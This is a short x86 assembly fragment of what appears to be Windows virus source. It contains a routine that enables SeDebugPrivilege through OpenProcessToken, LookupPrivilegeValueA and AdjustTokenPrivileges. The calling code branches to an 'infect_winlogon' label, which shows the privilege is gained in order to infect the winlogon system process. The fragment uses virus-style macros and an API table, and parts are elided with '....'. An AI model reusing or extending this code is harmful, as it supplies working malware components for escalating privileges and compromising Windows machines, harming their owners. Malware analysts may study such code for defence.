; All used apis are exported by advapi32.dll
SE_PRIVILEGE_ENABLED equ 02h
TOKEN_PRIVILEGES struc
TP_count
dd
?
TP_luid dq ?
TP_attribz
dd
?
TOKEN_PRIVILEGES ends
....
push SE_PRIVILEGE_ENABLED
pop eax
@pushsz
"SeDebugPrivilege"
pop esi
call touch_privilege
jz infect_winlogon_end
....
touch_privilege:
mov ebx, ebp
touch_privilege_ proc near
local
process_token:DWORD
local
privilege_luid:QWORD
local
token_privilegez:TOKEN_PRIVILEGES
pushad
@SEH_SetupFrame <jmp touch_privilege_end>
xchg eax, edi
call dword ptr [ebx+tGetCurrentProcess]
lea edx, [process_token]
push edx
push TOKEN_ADJUST_PRIVILEGES
push eax
call dword ptr [ebx+tOpenProcessToken]
dec eax
jnz touch_privilege_end
lea edx, [token_privilegez.TP_luid]
push edx
push esi
push eax
call dword ptr [ebx+tLookupPrivilegeValueA]
dec eax
jnz touch_privilege_close_p_token
push eax
push eax
push
type
(TOKEN_PRIVILEGES)
lea edx, [token_privilegez]
push 1
pop dword ptr [edx]
mov dword ptr [edx.TP_attribz], edi
push edx
push eax
push dword ptr [process_token]
call dword ptr [ebx+tAdjustTokenPrivileges]
touch_privilege_close_p_token:
push eax
push dword ptr [process_token]
call dword ptr [ebx+tCloseHandle]
pop eax
touch_privilege_end:
@SEH_RemoveFrame
mov dword ptr [esp.Pushad_eax], eax
popad
leave
retn
touch_privilege_ endp